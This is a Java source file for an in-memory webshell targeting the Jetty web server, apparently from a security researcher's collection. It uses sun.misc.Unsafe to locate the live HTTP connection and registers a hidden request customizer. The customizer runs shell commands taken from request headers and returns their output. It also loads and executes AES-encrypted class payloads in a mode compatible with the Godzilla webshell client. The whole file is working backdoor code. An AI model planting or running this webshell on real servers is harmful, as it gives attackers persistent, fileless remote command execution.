1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182
| package com.boogipop.memshell;
import org.eclipse.jetty.server.*; import sun.misc.Unsafe;
import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.IOException; import java.io.PrintWriter; import java.lang.ref.Reference; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.Map; import java.util.Scanner;
public class EvilCustomizer implements HttpConfiguration.Customizer { String xc = "3c6e0b8a9c15224a"; String pass = "pass"; String md5 = md5(pass + xc); Class payload; public static String md5(String s) { String ret = null; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); } catch (Exception e) { } return ret; } public EvilCustomizer() { System.out.println(1); }
public EvilCustomizer(int s) { System.out.println(2); }
static { try { HttpConnection valueField = getValueField(); valueField.getHttpChannel().getHttpConfiguration().addCustomizer(new EvilCustomizer(1)); } catch (NoSuchFieldException e) { throw new RuntimeException(e); } catch (ClassNotFoundException e) { throw new RuntimeException(e); } catch (IllegalAccessException e) { throw new RuntimeException(e); } } private static sun.misc.Unsafe getUnsafe() throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException { Field unsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); unsafe.setAccessible(true); sun.misc.Unsafe theunsafe = (sun.misc.Unsafe) unsafe.get(null); return theunsafe; } private static HttpConnection getValueField() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException { Unsafe unsafe = getUnsafe(); ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); Field threadsfiled = threadGroup.getClass().getDeclaredField("threads"); Thread[] threads = (Thread[]) unsafe.getObject(threadGroup, unsafe.objectFieldOffset(threadsfiled)); for(int i=0;i<threads.length;i++) { try { Field threadLocalsF = threads[i].getClass().getDeclaredField("threadLocals"); Object threadlocal = unsafe.getObject(threads[i], unsafe.objectFieldOffset(threadLocalsF)); Reference[] table = (Reference[]) unsafe.getObject(threadlocal, unsafe.objectFieldOffset(threadlocal.getClass().getDeclaredField("table"))); for(int j=0;j<table.length;j++){ try { Object value =unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value"))); if(value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")){ return (HttpConnection)value; } } catch (Exception e){
} }
} catch (Exception e) {
} } return null; } public static String base64Encode(byte[] bs) throws Exception { Class base64; String value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } public static byte[] base64Decode(String bs) throws Exception { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } public byte[] x(byte[] s, boolean m) { try { Cipher c = Cipher.getInstance("AES"); c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s); } catch (Exception e) { return null; } } @Override public void customize(Connector connector, HttpConfiguration httpConfiguration, Request request) { try { if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) { String cmd = request.getHeader("cmd"); if (cmd != null && !cmd.isEmpty()) { String[] cmds = null; if (System.getProperty("os.name").toLowerCase().contains("win")) { cmds = new String[]{"cmd", "/c", cmd}; } else { cmds = new String[]{"/bin/bash", "-c", cmd}; } String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\ASADSADASDSADAS").next(); PrintWriter writer = request.getResponse().getWriter(); writer.println(result); writer.flush(); } } else if (request.getHeader("x-client-data").equalsIgnoreCase("godzilla")) { byte[] data = base64Decode(request.getParameter(pass)); data = x(data, false); if (payload == null) { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defMethod.setAccessible(true); payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length); } else { java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = payload.newInstance(); f.equals(arrOut); f.equals(data); f.equals(request); PrintWriter writer = request.getResponse().getWriter(); writer.write(md5.substring(0, 16)); f.toString(); writer.write(base64Encode(x(arrOut.toByteArray(), true))); writer.write(md5.substring(16)); writer.flush(); } } } catch (Exception e) { } } }
|